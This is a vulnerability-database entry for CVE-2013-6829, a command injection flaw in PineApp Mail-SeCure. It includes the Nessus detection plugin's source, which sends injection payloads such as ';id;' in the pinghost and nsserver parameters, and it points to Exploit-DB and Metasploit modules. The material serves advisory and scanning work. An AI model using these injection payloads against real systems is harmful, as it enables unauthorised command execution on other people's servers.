Vulnerabilities > CVE-2013-6829 - Code Injection vulnerability in Pineapp Mail-Secure

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
pineapp
CWE-94
nessus
exploit available
metasploit

Summary

admin/confnetworking.html in PineApp Mail-SeCure allows remote attackers to execute arbitrary commands via shell metacharacters in the pinghost parameter during a ping operation.

Vulnerable Configurations

Part Description Count
Application
Pineapp
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionPineApp MailSecure - Remote Command Execution. CVE-2013-6829,CVE-2013-6830,CVE-2013-6831. Remote exploit for linux platform
idEDB-ID:29734
last seen2016-02-03
modified2013-11-20
published2013-11-20
reporterRuben Garrote García
sourcehttps://www.exploit-db.com/download/29734/
titlePineApp MailSecure - Remote Command Execution

Metasploit

descriptionThis module exploits a command injection vulnerability on PineApp Mail-SeCure 3.70. The vulnerability exists on the test_li_connection.php component, due to the insecure usage of the system() php function. This module has been tested successfully on PineApp Mail-SeCure 3.70.
idMSF:EXPLOIT/LINUX/HTTP/PINEAPP_TEST_LI_CONN_EXEC
last seen2020-06-08
modified2018-07-12
published2013-07-27
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6829
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/pineapp_test_li_conn_exec.rb
titlePineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution

Nessus

NASL familyCGI abuses
NASL idPINEAPP_MAIL_SECURE_CONFNETWORKING_RCE.NASL
descriptionThe version of PineApp Mail-SeCure installed on the remote host is affected by a remote command injection vulnerability because the application fails to properly sanitize input to multiple parameters. This could allow a remote, unauthenticated attacker to execute arbitrary commands on the remote host by sending a specially crafted URL that appends arbitrary commands to the
last seen2020-06-01
modified2020-06-02
plugin id71050
published2013-11-22
reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/71050
titlePineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(71050);
  script_version("1.10");
  script_cvs_date("Date: 2019/11/27");

  script_cve_id("CVE-2013-6829", "CVE-2013-6830");
  script_bugtraq_id(63817, 63834);
  script_xref(name:"EDB-ID", value:"29734");

  script_name(english:"PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection");
  script_summary(english:"Tries to execute an arbitrary command");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of PineApp Mail-SeCure installed on the remote host is
affected by a remote command injection vulnerability because the
application fails to properly sanitize input to multiple parameters. 
This could allow a remote, unauthenticated attacker to execute arbitrary
commands on the remote host by sending a specially crafted URL that
appends arbitrary commands to the 'nsserver' or 'pinghost' parameters of
the 'admin/confnetworking.html' script. 

Note that this application is reportedly also affected by several
additional vulnerabilities including a directory traversal, a privilege
escalation, and an authentication bypass vulnerability; however, Nessus
has not tested for those.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/136");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the latest software revision.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/11/22");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:pineapp:mail-secure");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("pineapp_mail_secure_detect.nasl");
  script_require_keys("www/pineapp_mailsecure");
  script_require_ports("Services/www", 7080, 7443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:7080);

install = get_install_from_kb(
  appname      : "pineapp_mailsecure",
  port         : port,
  exit_on_fail : TRUE
);

dir = install["dir"];

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

urls = make_list(
  "ping&type=upframe&pinghost=%27;"+cmd+";%27&pingtimes=1",
  "nslookup&hostip=&nstype=any&nsserver=127.0.0.1;"+cmd
);

foreach url (urls)
{
  attack = "/admin/confnetworking.html?cmd=" + url;
  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : dir + attack,
    exit_on_fail : TRUE
  );

  # Grab link to frame with command output
  if ( (res[0] =~ "200 OK") && ('<frame src="livelog.html' >< res[2]) )
  {
    match = eregmatch(pattern:'src="(livelog.html?(.*))"\\s+name', string:res[2]);
    if (!isnull(match)) link = match[1];
    # Fail safes we should never reach, but if so, hardcode the paths
    else
    {
      if (url =~ "nslookup") link = "livelog.html?cmd=nslookup&toolmsg=&hostip=&nstype=YW55&nsserver=MTI3LjAuMC4xO2lk";
      else link = "livelog.html?it=&cmd=ping&pinghost=';id;'&pingtimes=1";
    }

    res2 = http_send_recv3(
      method : "GET",
      port   : port,
      item   : dir + "/" + link,
      exit_on_fail : TRUE
    );

    if (egrep(pattern:cmd_pat, string:res2[2]))
    {
      if (report_verbosity > 0)
      {
        snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
        header =
        '\nNessus was able to execute the command "' + cmd + '" on the remote' +
        ' host' + '\nusing the following URL';
        trailer = '';
        if (report_verbosity > 1)
        {
          out = strstr(res2[2], "uid");
          pos = stridx(out, "<br />");
          output = substr(out, 0, pos -1);

          trailer +=
          '\nThis produced the following output :' +
          '\n' + snip +
          '\n' + data_protection::sanitize_uid(output:output) +
          '\n' + snip + '\n';
        }
        report = get_vuln_report(
          items   : dir + attack,
          port    : port,
          header  : header,
          trailer : trailer
        );
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      exit(0);
    }
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "PineApp Mail-SeCure", build_url(qs:dir, port:port));